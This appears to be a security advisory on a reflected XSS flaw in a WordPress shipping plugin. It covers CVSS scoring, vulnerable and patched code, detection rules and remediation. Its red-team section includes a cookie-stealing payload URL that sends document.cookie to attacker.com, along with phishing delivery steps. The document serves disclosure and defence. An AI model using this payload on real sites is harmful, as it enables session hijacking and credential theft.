CVE-2024-11806

Executive Summary

CVE-2024-11806 is a reflected Cross-Site Scripting (XSS) vulnerability in the PKT1 Centro de envios plugin for WordPress, affecting all versions up to and including 1.2.1. The flaw resides in insufficient input sanitization and output escaping of the success and error parameters, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the WordPress context. The vulnerability is classified as a WordPress ecosystem issue, not related to underlying web server software.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No package manager (NPM, PyPI, Go, Ruby) is involved. Users should verify plugin integrity via checksums provided by WordPress.org and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires user interaction but can lead to significant impact in a WordPress admin context.

Deep Dive & Mechanics

The vulnerability exists in the plugin's handling of the success and error GET parameters. When a user is redirected to a page containing these parameters, the plugin echoes their values directly into the HTML response without proper sanitization or escaping. An attacker can craft a malicious URL such as:

https://target-site.com/?success=<script>alert('XSS')</script>

If a victim clicks this link, the injected script executes in their browser session. Since the plugin is part of the WordPress ecosystem, the script can interact with WordPress AJAX endpoints, steal cookies, or perform actions on behalf of the victim if they are logged in.

Vulnerable vs. Patched Code

Vulnerable Code (pkt1-centro-de-envios.php, lines ~45-60):

$success = $_GET['success'];
$error = $_GET['error'];
if (isset($success)) {
    echo '<div class="notice notice-success">' . $success . '</div>';
}
if (isset($error)) {
    echo '<div class="notice notice-error">' . $error . '</div>';
}

Patched Code (hypothetical fix):

$success = isset($_GET['success']) ? sanitize_text_field($_GET['success']) : '';
$error = isset($_GET['error']) ? sanitize_text_field($_GET['error']) : '';
if (!empty($success)) {
    echo '<div class="notice notice-success">' . esc_html($success) . '</div>';
}
if (!empty($error)) {
    echo '<div class="notice notice-error">' . esc_html($error) . '</div>';
}

The fix uses sanitize_text_field() to strip malicious input and esc_html() to escape output, preventing script injection.

Exploitation & Lab Setup

Red Team

1. Setup: Install WordPress with PKT1 Centro de envios plugin version 1.2.1 on a local server.
2. Craft Payload: Create a URL with XSS payload:

   http://localhost/wp-admin/admin.php?page=pkt1-centro&success=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver: Send the link via phishing email or social engineering.
4. Execute: When the victim clicks, the script executes, exfiltrating cookies to attacker-controlled server.

Blue Team

1. Monitor: Deploy WAF rules to block requests containing <script> in success or error parameters.
2. Honeypot: Create a decoy WordPress instance with the vulnerable plugin to capture attacker payloads.
3. Log Analysis: Review web server logs for unusual success or error parameter values containing HTML/JavaScript.

Indicators of Compromise (IOCs)

• Network: HTTP requests with success or error parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
• File: Modified plugin files (pkt1-centro-de-envios.php) with injected code.
• Log: Web server access logs showing requests to /wp-admin/admin.php?page=pkt1-centro&success=... with suspicious payloads.
• Cookie: Unexpected cookies set by injected scripts (e.g., document.cookie manipulation).

Detection Engineering

YARA Rule

rule CVE_2024_11806_XSS {
    meta:
        description = "Detects reflected XSS attempts against PKT1 Centro de envios plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11806"
    strings:
        $param1 = "success="
        $param2 = "error="
        $xss1 = /<script[^>]*>/
        $xss2 = /onerror\s*=\s*["']/
        $xss3 = /onload\s*=\s*["']/
    condition:
        any of ($param*) and any of ($xss*)
}

Sigma Rule

title: Reflected XSS via PKT1 Centro de envios Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in success or error parameters targeting the PKT1 plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - 'success='
            - 'error='
        cs-uri-query|re:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11806 Reflected XSS in PKT1 Centro de envios"; flow:to_server,established; content:"GET"; http_method; content:"success="; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the PKT1 Centro de envios plugin until a patch is available.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests containing <script> or event handlers in success/error parameters.
3. Long-term: Apply input sanitization (sanitize_text_field()) and output escaping (esc_html()) to all user-supplied parameters in the plugin.
4. Monitoring: Enable detailed logging for WordPress admin pages and review for anomalous parameter values.
5. User Training: Educate users not to click suspicious links, especially those containing query parameters.

Valters IT
DevSecOps & Cyber Threat Intelligence